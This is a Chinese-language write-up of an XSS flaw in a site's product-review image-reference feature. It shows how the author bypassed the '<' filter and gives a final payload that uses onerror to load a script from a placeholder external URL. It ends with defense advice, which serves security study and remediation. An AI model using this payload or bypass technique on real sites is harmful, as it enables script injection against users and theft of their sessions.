一处图片引用功能导致的XSS
字数 830 2025-08-25 22:58:20
图片引用功能导致的XSS漏洞分析与利用
漏洞概述
本文详细分析了一处通过图片引用功能实现的跨站脚本(XSS)漏洞,该漏洞存在于某站点的产品评论功能中。攻击者可以通过精心构造的图片引用标记,绕过前端和后端的过滤机制,实现XSS攻击。
漏洞发现过程
初步测试
- 尝试常规XSS攻击时发现程序有过滤机制
- 提交包含
<的payload会显示"Tags are not permitted"错误 - 发现程序过滤
<但不过滤> - 前端有快速检测机制,后端也有内容检测
- 直接XSS攻击会被拦截并跳转回首页
其他功能测试
- 图片上传:
- 可上传aspx文件但无法解析
- 可上传html文件但需要主动攻击,易被发现
- 表情功能:无可利用点
- 图片引用功能:发现可利用点
漏洞利用细节
正常图片引用格式
[img|XSSURL|xxxxx Logo]
前端显示为:
XSS构造过程
-
初始payload构造:
常规XSS payload:转换为图片引用格式:
[img|x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';|xxxxx Logo] -
闭合问题分析:
- 直接提交后,程序在
onerror=和;后面自动添加了双引号 - 尝试使用
>闭合,虽然能加载但会导致页面显示错误 - 最终方案:闭合
;后的双引号
- 直接提交后,程序在
-
最终有效payload:
[img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';"|hello]生成的HTML:
漏洞原理
- 前端过滤了
<符号但允许>符号 - 图片引用功能未对URL参数进行充分过滤
- 自动添加引号的机制存在缺陷,可被利用来闭合属性
- 后端检测未能识别这种特殊构造的XSS payload
防御建议
- 对所有用户输入进行严格的HTML实体编码
- 实现内容安全策略(CSP)限制外部脚本加载
- 对图片引用功能进行白名单验证,只允许特定格式的URL
- 在后端实施更严格的XSS过滤,而不仅依赖前端检测
- 对自动添加的引号进行更安全的处理,避免被利用闭合
总结
该漏洞展示了即使存在前端和后端过滤,攻击者仍可能通过精心构造的payload绕过防护。关键在于理解系统的过滤机制和自动处理逻辑,找到其中的薄弱环节进行突破。防御此类攻击需要多层次的安全措施和严格的输入验证。